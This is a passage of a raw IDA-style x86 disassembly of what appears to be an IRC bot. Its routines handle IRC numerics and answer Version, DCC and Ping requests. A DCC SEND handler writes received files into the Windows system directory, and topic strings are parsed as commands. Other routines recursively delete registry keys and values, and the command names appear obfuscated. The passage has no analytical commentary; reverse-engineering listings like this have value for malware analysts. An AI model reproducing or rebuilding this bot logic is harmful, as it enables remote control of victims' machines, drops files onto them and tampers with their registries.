		push	edi
		push	esi
		push	dword ptr [ebx]
		push	[ebp+arg_8]
		call	sub_41CDD4


loc_42072B:				; CODE XREF: sub_42045F+28Ej
		add	esp, 14h
		jmp	loc_420AB0
; ---------------------------------------------------------------------------


loc_420733:				; CODE XREF: sub_42045F+70j
		mov	edi, [ebp+arg_8]
		mov	ecx, edi
		call	sub_41DB58
		mov	esi, [ebp+arg_4]
		mov	ebx, dword_437178
		push	eax
		push	dword ptr [esi+0Ch]
		call	ebx ; dword_437178
		test	eax, eax
		jnz	loc_420AB0
		push	[ebp+var_15C]
		push	offset dword_44DDA8
		call	ebx ; dword_437178
		test	eax, eax
		jnz	short loc_4207AF
		push	offset dword_4439BC
		push	offset dword_44DD98
		push	dword ptr [esi]
		push	edi
		call	sub_41CDD4
		add	esp, 10h
		mov	ecx, edi
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_41C755
		test	eax, eax
		jnz	loc_420AB0
		mov	ecx, edi
		call	sub_41C7A8
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1"
		push	offset aSVersionReques ; "%s Version request from: %s!%s@%s"
		jmp	loc_420A93
; ---------------------------------------------------------------------------


loc_4207AF:				; CODE XREF: sub_42045F+304j
		push	[ebp+var_15C]
		push	offset dword_44DD6C
		call	ebx ; dword_437178
		test	eax, eax
		jnz	loc_420A30
		push	dword ptr [esi+8]
		mov	ecx, edi
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_41C755
		test	eax, eax
		jnz	short loc_4207F5
		mov	ecx, edi
		call	sub_41C7A8
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1"
		push	offset aSDccRequestFro ; "%s DCC request from: %s!%s@%s"
		jmp	loc_420A93
; ---------------------------------------------------------------------------


loc_4207F5:				; CODE XREF: sub_42045F+376j
		push	[ebp+var_158]
		push	offset aSend_0	; "SEND"
		call	ebx ; dword_437178
		test	eax, eax
		jnz	loc_420A30
		and	[ebp+arg_0], eax
		lea	eax, [ebp+var_260]
		push	104h
		push	eax
		call	dword_4370F4	; GetSystemDirectoryA
		push	[ebp+var_154]
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset dword_445D68
		push	eax
		call	sub_429B03
		add	esp, 10h
		lea	eax, [ebp+var_260]
		push	0
		push	80h
		push	2
		push	0
		push	1
		push	40000000h
		push	eax
		call	dword_43705C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420875
		push	offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		push	offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
		push	offset aSSUnableToWrit ; "%s %s	unable to write	file to	disk."
		jmp	short loc_4208A5
; ---------------------------------------------------------------------------


loc_420875:				; CODE XREF: sub_42045F+403j
		push	eax
		call	dword_437044	; CloseHandle
		lea	eax, [ebp+var_260]
		push	offset off_44DD1C
		push	eax
		call	sub_42A50C
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		pop	ecx
		jnz	short loc_4208B9
		push	offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		push	offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
		push	offset aSSOpeningFileF ; "%s %s	opening	file for writing."


loc_4208A5:				; CODE XREF: sub_42045F+414j
		lea	eax, [ebp+var_3D70]
		push	eax
		call	sub_429B03
		add	esp, 10h
		jmp	loc_4209F8
; ---------------------------------------------------------------------------


loc_4208B9:				; CODE XREF: sub_42045F+435j
		push	[ebp+var_14C]
		call	sub_42A100
		push	eax
		push	[ebp+var_150]
		call	sub_42629D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_4], eax
		jnz	short loc_420905
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
		push	offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
		lea	eax, [ebp+var_3D70]
		push	offset aSSD	; "%s %s <%d>"
		push	eax
		call	sub_429B03
		add	esp, 14h
		jmp	loc_4209F8
; ---------------------------------------------------------------------------


loc_420905:				; CODE XREF: sub_42045F+47Aj
		mov	edi, 1000h


loc_42090A:				; CODE XREF: sub_42045F+55Ej
		push	edi
		lea	eax, [ebp+var_1660]
		push	0
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_1660]
		push	0
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	dword_456F58	; recv
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_4209C2
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_420988
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
		push	offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
		lea	eax, [ebp+var_3D70]
		push	offset aSSD	; "%s %s <%d>"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_3D70]
		push	eax
		push	offset aS_5	; "%s"
		push	[ebp+arg_8]
		call	sub_41C844
		push	[ebp+var_4]
		call	sub_42A10B
		add	esp, 24h
		push	[ebp+arg_4]
		call	dword_456FF0	; closesocket


loc_420988:				; CODE XREF: sub_42045F+4DDj
		push	[ebp+var_4]
		lea	eax, [ebp+var_1660]
		push	ebx
		push	1
		push	eax
		call	sub_42C3B3
		add	[ebp+arg_0], ebx
		add	esp, 10h
		push	[ebp+arg_0]
		call	dword_456F34	; ntohl
		mov	[ebp+var_8], eax
		push	0
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	[ebp+arg_4]
		call	dword_456F8C	; send
		jmp	loc_42090A
; ---------------------------------------------------------------------------


loc_4209C2:				; CODE XREF: sub_42045F+4D4j
		mov	eax, [ebp+arg_0]
		cdq
		push	edx
		push	eax
		call	sub_427E4F
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_3D70]
		push	[ebp+var_150]
		push	offset aTransferComple ; "Transfer complete from IP: %s, File: %s"...
		push	eax
		call	sub_429B03
		mov	edi, [ebp+arg_8]
		mov	ebx, dword_437178
		add	esp, 1Ch


loc_4209F8:				; CODE XREF: sub_42045F+455j
					; sub_42045F+4A1j
		lea	eax, [ebp+var_3D70]
		push	eax
		push	offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
		push	offset aSS_1	; "%s %s"
		push	edi
		call	sub_41C844
		add	esp, 10h
		cmp	[ebp+var_4], 0
		jz	short loc_420A21
		push	[ebp+var_4]
		call	sub_42A10B
		pop	ecx


loc_420A21:				; CODE XREF: sub_42045F+5B7j
		cmp	[ebp+arg_4], 0
		jbe	short loc_420A30
		push	[ebp+arg_4]
		call	dword_456FF0	; closesocket


loc_420A30:				; CODE XREF: sub_42045F+35Fj
					; sub_42045F+3A5j ...
		push	[ebp+var_15C]
		push	offset dword_44DCC0
		call	ebx ; dword_437178
		test	eax, eax
		jnz	loc_420575
		cmp	[ebp+var_158], eax
		jz	loc_420575
		push	[ebp+var_158]
		push	offset dword_44DCB4
		push	dword ptr [esi]
		push	edi
		call	sub_41CDD4
		add	esp, 10h
		mov	ecx, edi
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_41C755
		test	eax, eax
		jnz	short loc_420AB0
		mov	ecx, edi
		call	sub_41C7A8
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1"
		push	offset aSPingRequestFr ; "%s Ping request from:	%s!%s@%s"


loc_420A93:				; CODE XREF: sub_42045F+34Bj
					; sub_42045F+391j
		test	eax, eax
		jz	short loc_420AA2
		push	edi
		call	sub_41C844
		add	esp, 18h
		jmp	short loc_420AB0
; ---------------------------------------------------------------------------


loc_420AA2:				; CODE XREF: sub_42045F+636j
		push	offset dword_443F34
		push	edi
		call	sub_41CE4A
		add	esp, 1Ch


loc_420AB0:				; CODE XREF: sub_42045F+18j
					; sub_42045F+9Bj ...
		xor	eax, eax
		inc	eax
		jmp	loc_420577
sub_42045F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420AB8	proc near		; DATA XREF: sub_420D91+29o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		mov	edi, [ebp+arg_8]
		mov	ecx, edi
		call	sub_41DB58
		push	eax
		push	[ebp+arg_0]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_420B36
		push	2
		lea	eax, [ebp+var_8]
		push	[ebp+arg_0]
		push	eax
		call	sub_42777F
		add	esp, 0Ch
		cmp	[ebp+var_8], 0
		jz	short loc_420B36
		cmp	[ebp+var_4], 0
		jz	short loc_420B36
		push	esi
		mov	esi, offset dword_443F14
		push	esi
		push	[ebp+var_8]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		mov	ecx, edi
		jnz	short loc_420B17
		push	offset off_443F18
		push	esi
		call	sub_41D09B
		jmp	short loc_420B1F
; ---------------------------------------------------------------------------


loc_420B17:				; CODE XREF: sub_420AB8+50j
		push	[ebp+var_8]
		call	sub_41D074


loc_420B1F:				; CODE XREF: sub_420AB8+5Dj
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		push	offset dword_43AB8C
		push	[ebp+var_8]
		push	edi
		call	sub_41CE4A
		add	esp, 10h
		pop	esi


loc_420B36:				; CODE XREF: sub_420AB8+1Dj
					; sub_420AB8+34j ...
		xor	eax, eax
		pop	edi
		leave
		retn
sub_420AB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B3B	proc near		; DATA XREF: sub_420D91+3Ao

var_2A3C	= byte ptr -2A3Ch
var_32C		= byte ptr -32Ch
var_12C		= dword	ptr -12Ch
var_2C		= byte ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 2A3Ch
		call	sub_429B60
		push	esi
		push	edi
		push	2710h
		lea	eax, [ebp+var_2A3C]
		push	[ebp+arg_0]
		push	eax
		call	sub_429D10
		lea	eax, [ebp+var_2A3C]
		push	3
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42777F
		add	esp, 18h
		cmp	[ebp+var_C], 0
		jz	loc_420CB0
		cmp	[ebp+var_8], 0
		jz	loc_420CB0
		mov	ecx, [ebp+arg_8]
		call	sub_41DB58
		push	eax
		push	[ebp+var_C]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		push	10h
		lea	eax, [ebp+var_2C]
		jnz	short loc_420BA7
		push	[ebp+var_8]
		jmp	short loc_420BAA
; ---------------------------------------------------------------------------


loc_420BA7:				; CODE XREF: sub_420B3B+65j
		push	[ebp+var_C]


loc_420BAA:				; CODE XREF: sub_420B3B+6Aj
		push	eax
		call	sub_429D10
		add	esp, 0Ch
		push	3Ah
		push	[ebp+arg_0]
		call	sub_42B1A0
		mov	esi, eax
		pop	ecx
		inc	esi
		pop	ecx
		cmp	byte ptr [esi],	2Bh
		jnz	short loc_420C0C
		push	offset asc_44DE08 ; "+"
		push	esi
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_420C0C
		push	esi
		call	sub_4293A0
		cmp	eax, 6
		pop	ecx
		jbe	short loc_420C0C
		push	esi
		call	sub_4293A0
		dec	eax
		push	eax
		push	1
		push	esi
		call	sub_4279C6
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	short loc_420C0C
		push	edi
		push	offset dword_443EB0
		call	sub_415641
		pop	ecx
		mov	esi, edi
		pop	ecx


loc_420C0C:				; CODE XREF: sub_420B3B+8Aj
					; sub_420B3B+9Bj ...
		mov	edi, offset dword_447730
		push	edi
		push	esi
		call	sub_429C5E
		pop	ecx
		xor	esi, esi
		pop	ecx
		mov	[ebp+var_12C], eax
		inc	esi


loc_420C23:				; CODE XREF: sub_420B3B+101j
		push	edi
		push	0
		call	sub_429C5E
		pop	ecx
		mov	[ebp+esi*4+var_12C], eax
		test	eax, eax
		pop	ecx
		jz	short loc_420C3E
		inc	esi
		cmp	esi, 40h
		jl	short loc_420C23


loc_420C3E:				; CODE XREF: sub_420B3B+FBj
		lea	eax, [ebp+var_2C]
		xor	edi, edi
		mov	[ebp+var_10], eax
		mov	eax, offset aTopic ; "topic"
		test	esi, esi
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		jle	short loc_420CB0


loc_420C58:				; CODE XREF: sub_420B3B+173j
		mov	eax, [ebp+edi*4+var_12C]
		test	eax, eax
		jz	short loc_420CAB
		push	eax
		lea	eax, [ebp+var_32C]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		mov	al, [ebp+var_32C]
		add	esp, 0Ch
		cmp	al, byte_4439A0
		jnz	short loc_420CAB
		push	1F4h
		call	dword_437190	; Sleep
		push	1
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_40A935
		add	esp, 14h


loc_420CAB:				; CODE XREF: sub_420B3B+126j
					; sub_420B3B+149j
		inc	edi
		cmp	edi, esi
		jl	short loc_420C58


loc_420CB0:				; CODE XREF: sub_420B3B+3Cj
					; sub_420B3B+46j ...
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn
sub_420B3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420CB6	proc near		; DATA XREF: sub_420D91+89o

var_C4		= dword	ptr -0C4h
var_8		= dword	ptr -8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C4h
		push	esi
		lea	eax, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_8]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_C4]
		push	esi
		push	eax
		push	offset loc_41C438
		push	esi
		push	esi
		mov	[ebp+var_C4], edi
		mov	[ebp+var_8], esi
		call	dword_437180	; CreateThread
		jmp	short loc_420CF2
; ---------------------------------------------------------------------------


loc_420CEA:				; CODE XREF: sub_420CB6+3Fj
		push	32h
		call	dword_437190	; Sleep


loc_420CF2:				; CODE XREF: sub_420CB6+32j
		cmp	[ebp+var_8], esi
		jz	short loc_420CEA
		mov	ecx, edi
		call	sub_41DB58
		push	eax
		mov	ecx, edi
		call	sub_41CF25
		push	offset byte_457F6C
		mov	ecx, edi
		call	sub_41D163
		push	offset off_443F18
		push	offset dword_443F14
		mov	ecx, edi
		call	sub_41D09B
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn
sub_420CB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D29	proc near		; DATA XREF: sub_420D91+78o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_42777F
		add	esp, 0Ch
		cmp	[ebp+var_8], 0
		jz	short loc_420D6F
		cmp	[ebp+var_4], 0
		jz	short loc_420D6F
		mov	esi, offset byte_457F6D
		push	offset byte_454A54
		push	esi
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_420D6F
		mov	ecx, [ebp+arg_8]
		push	0
		push	esi
		push	[ebp+var_4]
		call	sub_41D110


loc_420D6F:				; CODE XREF: sub_420D29+1Bj
					; sub_420D29+21j ...
		xor	eax, eax
		pop	esi
		leave
		retn
sub_420D29	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D74	proc near		; DATA XREF: sub_420D91+B5o

arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	5
		push	7
		call	sub_41D181
		mov	ecx, [esp+arg_8]
		push	eax
		call	sub_41DB31
		xor	eax, eax
		retn
sub_420D74	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D8E	proc near		; CODE XREF: sub_43017E+52p
					; DATA XREF: sub_420D91+7o
		xor	eax, eax
		retn
sub_420D8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D91	proc near		; CODE XREF: sub_418FA1+5A9p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		push	offset sub_420D8E
		push	offset dword_445B40
		mov	ecx, esi
		call	sub_41C58F
		push	offset sub_42045F
		push	offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0"
		mov	ecx, esi
		call	sub_41C58F
		push	offset sub_420AB8
		push	offset aBwIj0rhpgj1 ; "bw/Ij0rhPgj1"
		mov	ecx, esi
		call	sub_41C58F
		mov	ebx, offset sub_420B3B
		mov	ecx, esi
		push	ebx
		push	offset aFuv1h_fi8sc ; "FuV1H.fi8SC/"
		call	sub_41C58F
		mov	edi, offset sub_41E446
		mov	ecx, esi
		push	edi
		push	offset aKc4l5_savs3_ ; "KC4L5.sAVS3."
		call	sub_41C58F
		push	edi
		push	offset a302	; "302"
		mov	ecx, esi
		call	sub_41C58F
		push	ebx
		push	offset a332	; "332"
		mov	ecx, esi
		call	sub_41C58F
		push	offset sub_420D29
		push	offset a366	; "366"
		mov	ecx, esi
		call	sub_41C58F
		mov	edi, offset sub_420CB6
		mov	ecx, esi
		push	edi
		push	offset a005	; "005"
		call	sub_41C58F
		push	edi
		push	offset a376	; "376"
		mov	ecx, esi
		call	sub_41C58F
		push	edi
		push	offset a422	; "422"
		mov	ecx, esi
		call	sub_41C58F
		push	offset sub_420D74
		push	offset a433	; "433"
		mov	ecx, esi
		call	sub_41C58F
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_420D91	endp


; =============== S U B	R O U T	I N E =======================================



sub_420E5B	proc near		; CODE XREF: sub_40A9FE+1485p
					; sub_40A9FE+156Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, dword_437178
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		push	offset aHkey_local_mac ; "HKEY_LOCAL_MACHINE"
		call	esi ; dword_437178
		test	eax, eax
		jz	loc_420EFF
		push	edi
		push	offset aHklm	; "HKLM"
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_420EFF
		push	edi
		push	offset aHkey_current_u ; "HKEY_CURRENT_USER"
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_420EF8
		push	edi
		push	offset aHkcu	; "HKCU"
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_420EF8
		push	edi
		push	offset aHkey_classes_r ; "HKEY_CLASSES_ROOT"
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_420EF1
		push	edi
		push	offset aHkcr	; "HKCR"
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_420EF1
		push	edi
		push	offset aHkey_current_c ; "HKEY_CURRENT_CONFIG"
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_420EEA
		push	edi
		push	offset aHkcc	; "HKCC"
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_420EEA
		push	edi
		push	offset aHkey_users ; "HKEY_USERS"
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_420EE3
		push	edi
		push	offset off_44DE30
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_420EFF


loc_420EE3:				; CODE XREF: sub_420E5B+7Aj
		mov	eax, 80000003h
		jmp	short loc_420F04
; ---------------------------------------------------------------------------


loc_420EEA:				; CODE XREF: sub_420E5B+62j
					; sub_420E5B+6Ej
		mov	eax, 80000005h
		jmp	short loc_420F04
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420E5B+4Aj
					; sub_420E5B+56j
		mov	eax, 80000000h
		jmp	short loc_420F04
; ---------------------------------------------------------------------------


loc_420EF8:				; CODE XREF: sub_420E5B+32j
					; sub_420E5B+3Ej
		mov	eax, 80000001h
		jmp	short loc_420F04
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420E5B+16j
					; sub_420E5B+26j ...
		mov	eax, 80000002h


loc_420F04:				; CODE XREF: sub_420E5B+8Dj
					; sub_420E5B+94j ...
		pop	edi
		pop	esi
		retn
sub_420E5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F07	proc near		; CODE XREF: sub_421126+158p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 4
		ja	short loc_420F3E
		jz	short loc_420F38
		sub	eax, 0
		jz	short loc_420F32
		dec	eax
		jz	short loc_420F2C
		dec	eax
		jz	short loc_420F26
		dec	eax
		jnz	short loc_420F4E
		mov	eax, offset aReg_binary	; "REG_BINARY"
		retn
; ---------------------------------------------------------------------------


loc_420F26:				; CODE XREF: sub_420F07+14j
		mov	eax, offset aReg_expand_sz ; "REG_EXPAND_SZ"
		retn
; ---------------------------------------------------------------------------


loc_420F2C:				; CODE XREF: sub_420F07+11j
		mov	eax, offset aReg_sz ; "REG_SZ"
		retn
; ---------------------------------------------------------------------------


loc_420F32:				; CODE XREF: sub_420F07+Ej
		mov	eax, offset aReg_none ;	"REG_NONE"
		retn
; ---------------------------------------------------------------------------


loc_420F38:				; CODE XREF: sub_420F07+9j
		mov	eax, offset aReg_dword ; "REG_DWORD"
		retn
; ---------------------------------------------------------------------------


loc_420F3E:				; CODE XREF: sub_420F07+7j
		sub	eax, 5
		jz	short loc_420F66
		dec	eax
		jz	short loc_420F60
		dec	eax
		jz	short loc_420F5A
		sub	eax, 4
		jz	short loc_420F54


loc_420F4E:				; CODE XREF: sub_420F07+17j
		mov	eax, offset aUnknown_0 ; "UNKNOWN"
		retn
; ---------------------------------------------------------------------------


loc_420F54:				; CODE XREF: sub_420F07+45j
		mov	eax, offset aReg_qword ; "REG_QWORD"
		retn
; ---------------------------------------------------------------------------


loc_420F5A:				; CODE XREF: sub_420F07+40j
		mov	eax, offset aReg_multi_sz ; "REG_MULTI_SZ"
		retn
; ---------------------------------------------------------------------------


loc_420F60:				; CODE XREF: sub_420F07+3Dj
		mov	eax, offset aReg_link ;	"REG_LINK"
		retn
; ---------------------------------------------------------------------------


loc_420F66:				; CODE XREF: sub_420F07+3Aj
		mov	eax, offset aReg_dword_big_ ; "REG_DWORD_BIG_ENDIAN"
		retn
sub_420F07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420F6C	proc near		; CODE XREF: sub_418FA1+B4p
					; sub_420F6C+A8p ...

var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_4], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jz	loc_42108B
		cmp	[ebp+arg_8], ebx
		jnz	loc_42104D
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_456E98	; RegDeleteKeyA
		test	eax, eax
		jz	loc_421080
		push	3Fh
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_10B]
		mov	[ebp+var_10C], bl
		xor	esi, esi
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_4]
		mov	[ebp+arg_8], 100h
		push	eax
		push	2001Fh
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_456FC0	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_42108B
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+arg_8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	ebx
		push	[ebp+var_4]
		call	dword_456E68	; RegEnumKeyExA
		mov	edi, 103h
		jmp	short loc_42103B
; ---------------------------------------------------------------------------


loc_421003:				; CODE XREF: sub_420F6C+D1j
		cmp	eax, ebx
		jnz	short loc_42103F
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_420F6C
		add	esp, 0Ch
		lea	ecx, [ebp+var_C]
		mov	eax, esi
		inc	esi
		push	ecx
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_8]
		push	ebx
		push	ecx
		lea	ecx, [ebp+var_10C]
		push	ecx
		push	eax
		push	[ebp+var_4]
		call	dword_456E68	; RegEnumKeyExA


loc_42103B:				; CODE XREF: sub_420F6C+95j
		cmp	eax, edi
		jnz	short loc_421003


loc_42103F:				; CODE XREF: sub_420F6C+99j
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_456E98	; RegDeleteKeyA
		jmp	short loc_42108B
; ---------------------------------------------------------------------------


loc_42104D:				; CODE XREF: sub_420F6C+1Dj
		lea	eax, [ebp+var_4]
		push	eax
		push	2001Fh
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_456FC0	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_42108B
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_456E64	; RegDeleteValueA
		push	[ebp+var_4]
		test	eax, eax
		jnz	short loc_421085
		call	dword_456F08	; RegCloseKey


loc_421080:				; CODE XREF: sub_420F6C+31j
		xor	eax, eax
		inc	eax
		jmp	short loc_42108D
; ---------------------------------------------------------------------------


loc_421085:				; CODE XREF: sub_420F6C+10Cj
		call	dword_456F08	; RegCloseKey


loc_42108B:				; CODE XREF: sub_420F6C+14j
					; sub_420F6C+6Ej ...
		xor	eax, eax


loc_42108D:				; CODE XREF: sub_420F6C+117j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421092	proc near		; CODE XREF: sub_40A7C5+E3p
					; sub_40A7C5+F8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		cmp	edi, esi
		mov	[ebp+var_4], esi
		jz	short loc_421120
		cmp	[ebp+arg_8], esi
		jz	short loc_421120
		lea	eax, [ebp+var_4]
		push	eax
		push	2001Fh
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	dword_456FC0	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_42111C
		mov	eax, [ebp+arg_C]
		cmp	eax, 4
		jnz	short loc_4210EB
		lea	eax, [ebp+arg_4]
		mov	[ebp+arg_4], esi
		push	eax
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_421126
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+arg_4], esi
		setnz	al
		mov	esi, eax
		jmp	short loc_421113
; ---------------------------------------------------------------------------


loc_4210EB:				; CODE XREF: sub_421092+35j
		cmp	eax, 1
		jz	short loc_4210FA
		cmp	eax, 2
		jz	short loc_4210FA
		cmp	eax, 7
		jnz	short loc_421113


loc_4210FA:				; CODE XREF: sub_421092+5Cj
					; sub_421092+61j
		push	1
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_421340
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		neg	esi


loc_421113:				; CODE XREF: sub_421092+57j
					; sub_421092+66j
		push	[ebp+var_4]
		call	dword_456F08	; RegCloseKey


loc_42111C:				; CODE XREF: sub_421092+2Dj
		mov	eax, esi
		jmp	short loc_421122
; ---------------------------------------------------------------------------


loc_421120:				; CODE XREF: sub_421092+10j
					; sub_421092+15j
		xor	eax, eax


loc_421122:				; CODE XREF: sub_421092+8Cj
		pop	edi
		pop	esi
		leave
		retn
sub_421092	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421126	proc near		; CODE XREF: sub_421092+45p

var_604		= byte ptr -604h
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 604h
		push	ebx
		lea	eax, [ebp+var_8]
		push	edi
		xor	ebx, ebx
		push	eax
		push	0F003Fh
		push	ebx
		mov	edi, 0FAh
		push	[ebp+arg_4]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_1C], edi
		push	[ebp+arg_0]
		mov	[ebp+var_14], 44Ch
		mov	[ebp+var_20], 80h
		mov	[ebp+var_4], ebx
		call	dword_456FC0	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_4212C4
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
